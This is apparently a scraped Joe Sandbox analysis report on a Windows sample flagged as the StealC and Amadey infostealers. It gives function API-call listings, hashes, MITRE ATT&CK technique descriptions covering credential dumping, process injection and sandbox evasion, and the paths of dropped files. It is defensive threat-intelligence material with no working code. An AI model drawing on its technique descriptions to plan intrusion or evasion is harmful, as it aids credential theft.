malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C6A6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C6A6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6A6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A6F5C

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction ID: 0bc45efbc56a15fb90265375e450124e3aef0bdf4470a3bdb9cd26a8f81ef013
Opcode Fuzzy Hash: 8644ccabdd39f7598f8190600c280acc267cedd63c2cddf56738e80d0d2e0910
Instruction Fuzzy Hash: 7C31F871A1060A8FDB04CF6CC980AAA73FAFB95304F50413DD41AC7651EF31E95AC794

Function 6C6BB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C660A4D), ref: 6C6BB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C660A4D), ref: 6C6BB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C660A4D), ref: 6C6BB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C660A4D), ref: 6C6BB67F

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction ID: 8faa6fbec7cdb6eb0e23bb9a89ffa2cdca4c2045baff36eeb0e7f7c129bded36
Opcode Fuzzy Hash: d9d209a4901d0ed02fe7198cde96c2de8e2dc279f2c773b95c5bc01864716047
Instruction Fuzzy Hash: 1C31D471A012168FDB10CF59C8C469ABBB5FFC5304F168669C846EB201EB31ED25CBA5

Function 6C68F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C68F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C68F668

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: fd0c959764e2c6f652b47417bb4cdd4b4b8c15a0ef4d9854fa31841a68e36b3a
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 95316F71B00214AFC714CF1DDCC0A9B7BB5EB94354B148538FA4A8BB04D732E9448BAA

Function 6C6A26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26C1
free.MOZGLUE(?), ref: 6C6A26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6A26FF
free.MOZGLUE ref: 6C6A270D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction ID: da9dc1a29145f47382f95be9498f80c97c9091a0ac98734626d699cba01f1fb2
Opcode Fuzzy Hash: d1ae15fc273256de6d2d0fba886dda6b015f370c63a0962ebae03874a0add4ca
Instruction Fuzzy Hash: EFF0F9B27012046BE7109E5AD8C4D4773A9EF4131CB100035EA1EC3B11E332FD1AC6AE

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBKFIECBGDHJKECAKFBG

C:\ProgramData\DBKKFCBA

C:\ProgramData\DGIJDAFCFHIEHJJKEHJKKJKFCG

C:\ProgramData\GHJDBAKEHDHDGCAKKJJECAEHIE

C:\ProgramData\GIEBAECAKKFCBFIEGCBK

C:\ProgramData\IJKJJKFH

C:\ProgramData\IJKJJKFHIJKKFHJJECBA

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre